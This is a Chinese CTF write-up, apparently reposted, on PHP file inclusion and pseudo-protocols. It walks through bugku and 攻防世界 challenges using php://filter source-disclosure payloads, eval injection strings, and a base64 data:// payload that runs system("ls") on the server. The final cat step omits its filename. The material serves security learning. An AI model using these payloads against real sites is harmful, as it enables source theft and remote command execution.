CTF-WEB:PHP 偽協議


文件包含漏洞

為了更好地使用代碼的重用性,可以使用文件包含函數將文件包含進來,直接使用文件中的代碼來提高重用性。但是這也產生了文件包含漏洞,產生原因是在通過 PHP 的函數引入文件時,為了靈活包含文件會將被包含文件設置為變量,通過動態變量來引入需要包含的文件。此時用戶可以對變量的值可控,而服務器端未對變量值進行合理地校驗或者校驗被繞過,就會導致文件包含漏洞。

文件包含函數

函數 功能
include() 代碼執行到 include() 函數時將文件包含
include_once() 當重復調用同一文件時只調用一次,功能與 include() 相同
require() require() 執行如果發生錯誤,函數會報錯並終止腳本
require_once() 當重復調用同一文件時只調用一次,功能與 require() 相同

包含漏洞分類

本地包含

當包含的文件在服務器本地時,就形成了本地文件包含。文件包含可以包含任意文件,被包含的文件可以不是 PHP 代碼,可以是文本或圖片等。只要文件被包含就會被服務器腳本語言執行,如果包含的文件內容不符合 php 語法,會直接將文件內容輸出。例如下面這段簡易的代碼:

<?php
    $file = $_GET['file'];
    include($file);
?>

遠程包含

當包含的文件在遠程服務器上時,就形成了遠程文件包含。所包含遠程服務器的文件后綴不能與目標服務器語言相同,遠程文件包含需要在 php.ini 中設置:

allow_url_include = on(是否允許 include/require 遠程文件)
allow_url_fopen = on(是否允許打開遠程文件)

偽協議

PHP 偽協議

PHP 偽協議是 PHP 支持的協議與封裝協議,幾個 PHP 支持的偽協議如下。

偽協議 功能
file:// 訪問本地文件系統
http:// 訪問 HTTP(s) 網址
php:// 訪問各個輸入/輸出流
phar:// PHP 歸檔
zip:// 壓縮流

例如在 allow_url_include = on 時服務器上有個文件叫 index.php,且存在文件包含漏洞,這個時候就能用 php 偽協議直接把文件顯示出來。

?file=php://filter/read=convert.base64-encode/resource=index.php

稍微解釋下這個做法,php://filter/ 是一種訪問本地文件的協議,/read=convert.base64-encode/ 表示讀取的方式是 base64 編碼后,resource=index.php 表示目標文件為index.php。問什么要進行 base64 編碼呢?如果不進行 base64 編碼傳入,index.php 就會直接執行,我們就看不到文件中的內容了。php 協議還常用 php://input,這可以訪問請求的原始數據的只讀流,可以讀取 POST 請求的參數。

data 偽協議

php 5.2.0 起,數據流封裝器開始有效,主要用於數據流的讀取,如果傳入的數據是PHP代碼就會執行代碼。使用方法為:

data://text/plain;base64,xxxx(base64編碼后的數據)

例題:bugku-本地包含

題目的源碼如下,觀察到代碼將提取一個 REQUEST 變量,這個變量時 HTTP Request 變量,默認情況下包含了 GET、POST 和 COOKIE 的數組。

<?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval("var_dump($a);");      //var_dump() 函數可以輸出變量的類型和值
    show_source(__FILE__);
?>

第一種解法是利用 eval() 函數,它把字符串按照 PHP 代碼來計算,該字符串必須是合法的 PHP 代碼且必須以分號結尾。這里 eval() 會把變量 a 中的內容提取出來,然后執行 var_dump() 函數輸出。不過由於變量 a 來自於變量 hello 變量,而如果 hello 變量中的內容是代碼,也會被執行。所以這里可以傳入一句代碼來直接顯示 flag.php,例如:

hello=);show_source(%27flag.php%27

則在 eval 中,就會把上述 hello 的值替換掉變量 a,等同於執行如下代碼:

var_dump();
show_source('flag.php');

同理,使用其他的函數顯示文件也是可以的,注意使用 “);” 來構造。

hello=);print_r(file("flag.php")
hello=);var_dump(file("flag.php")
hello=);include(@$_POST['b']

第二種解法就是用 PHP 偽協議把 flag.php 文件讀出來,然后再使用 include() 函數包含出來。

當然還有第 3 種解法,就是直接把 flag.php 導入到 hello 變量中。

例題:bugku-flag 在 index 里

打開網頁,點擊后觀察 url 有個文件包含漏洞,也就是說我們可以想辦法把包含 flag 的文件導出來。

根據提示 flag 在 index.php 里,使用 php 偽協議把文件內容的 base64 編碼導出,解碼得到 flag。

例題:bugku-welcome to bugkuctf

打開網頁查看源碼如下,源碼要求用 GET 方式傳遞三個參數,其中 user 不為空,並且作為文件名變量打開后的文件內容為 “welcome to the bugkuctf”,file 要求值為 hint.php。

<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}
else{  
    echo "you are not admin ! ";  
}  
 -->  

對於變量 user,當傳進去的變量的參數作為文件名變量去打開時,可用 php://input 作為參數,同時使用 post 方式傳入內容作為變量的文件內容。對於 file 變量,可以使用偽協議 php://filter 來讀取 hint.php 文件。構造出的 payload 為:

index.php?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php&password=


此時就得到了 hint.php 的源碼的 base64 編碼,解碼后得到:

<?php

class Flag{//flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
        return ("good");
        }
    }
}
?>

接下來的內容關於 PHP 反序列化,可以前往博客CTF-WEB:PHP 反序列化查看剩余步驟。

例題:攻防世界-Web_php_include

打開網頁,看到一段 PHP 代碼如下,觀察到這段代碼有 include() 函數,因此這題要考慮文件包含漏洞。strstr() 函數查找字符串首次出現的位置,然后返回字符串剩余部分。注意到這段代碼使用了 strstr() 函數將傳入參數中的 “php://” 全部刪了,也就是說此處無法直接使用 PHP 偽協議來完成。

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

注意到這里還傳遞了一個參數 “hello”,我們嘗試傳一個參數進去,發現這個參數被回顯回了網頁。因此我們考慮以命令執行,然后命令執行的結果回顯到瀏覽器,例如用 ls、cat 命令來查看。

這里可以改用 data 偽協議來做,首先我們還是要先知道 flag 放在哪里,寫出如下代碼,則網頁就會執行 ls 命令輸出目錄下的文件名。

<?php system("ls")?>

根據 data 偽協議的使用方法,我們需要把上述代碼用 base64 編碼然后傳入:

?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=


接下來就要查看 “fl4gisisish3r3.php” 這個文件的內容了,還是一樣寫出下面代碼讓網頁執行 cat 命令查看文件。

<?php system("cat")?>

還是一樣把上述代碼用 base64 編碼然后傳入,然后打開 F12 查看源碼就能看到 flag。

?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQiKT8+

參考資料

文件包含漏洞學習總結
Web安全實戰系列:文件包含漏洞
PHP偽協議總結


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM